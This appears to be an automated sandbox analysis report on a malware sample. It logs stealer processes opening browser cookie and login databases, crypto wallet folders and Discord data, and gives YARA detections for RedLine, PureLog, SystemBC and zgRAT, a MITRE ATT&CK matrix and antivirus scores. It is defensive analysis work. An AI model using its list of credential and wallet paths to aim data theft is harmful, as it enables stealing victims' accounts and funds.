Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\default
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore-backups
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\temporary
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\bookmarkbackups
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Tries to steal communication platform credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\discord
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\discordcanary
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\discordptb

Yara detected Generic Python Stealer

Source: Yara match	File source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: judit.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, type: DROPPED

Source: Yara match	File source: 0000001E.00000002.2274539333.00000000027E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2501405192.00000194CFA90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: judit.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: redline123123.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, type: DROPPED

Remote Access Functionality

Yara detected Monster Stealer

Source: Yara match	File source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: judit.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: redline123123.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.One.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2405960200.0000000004041000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2005899923.0000000000492000.00000002.00000001.01000000.0000002E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2242835932.00000000128C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 28.2.RegAsm.exe.572b5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.469fc0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.redline123123.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.svhoost.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f98ca0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.10a183e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.572b5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f98ca0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.10a183e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.469fc0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.40ab790.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.40ab790.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.1954896138.0000000000E32000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2405960200.000000000409A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2006526850.0000000000442000.00000002.00000001.01000000.0000002F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: redline123123.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe, type: DROPPED

Yara detected SystemBC

Source: Yara match	File source: 49.2.jergs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.2.peombdb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.0.peombdb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.0.jergs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.2105482981.0000000000401000.00000020.00000001.01000000.0000003A.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.2092244834.0000000000401000.00000020.00000001.01000000.0000003A.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000000.2106860496.0000000000401000.00000020.00000001.01000000.0000003B.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.2753516190.0000000000401000.00000020.00000001.01000000.0000003B.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.2085711732.0000018E8C626000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\okili\peombdb.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.One.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, type: DROPPED

Yara detected Generic Python Stealer

Source: Yara match	File source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: judit.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	341 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	1 File and Directory Permissions Modification	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	311 Disable or Modify Tools	2 Credential API Hooking	1 System Network Connections Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	512 Process Injection	111 Deobfuscate/Decode Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	1 Abuse Elevation Control Mechanism	NTDS	467 System Information Discovery	Distributed Component Object Model	1 Email Collection	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Obfuscated Files or Information	LSA Secrets	1 Query Registry	SSH	2 Credential API Hooking	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Install Root Certificate	Cached Domain Credentials	14111 Security Software Discovery	VNC	3 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	23 Software Packing	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	691 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 File Deletion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	4 Rootkit	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	21 Masquerading	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	691 Virtualization/Sandbox Evasion	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	512 Process Injection	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood
Identify Business Tempo	Botnet	Hardware Additions	Python	Hypervisor	Process Injection	1 Hidden Files and Directories	Credential API Hooking	Domain Groups	Exploitation of Remote Services	Remote Email Collection	External Proxy	Transfer Data to Cloud Account	Reflection Amplification

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
DPqKF5vqpe.exe	42%	ReversingLabs	Win32.Trojan.Generic
DPqKF5vqpe.exe	100%	Avira	TR/Crypt.TPM.Gen
DPqKF5vqpe.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	100%	Avira	HEUR/AGEN.1318580
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe	100%	Avira	HEUR/AGEN.1318580
C:\ProgramData\okili\peombdb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\services64[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\upd[1].exe	100%	Joe Sandbox ML
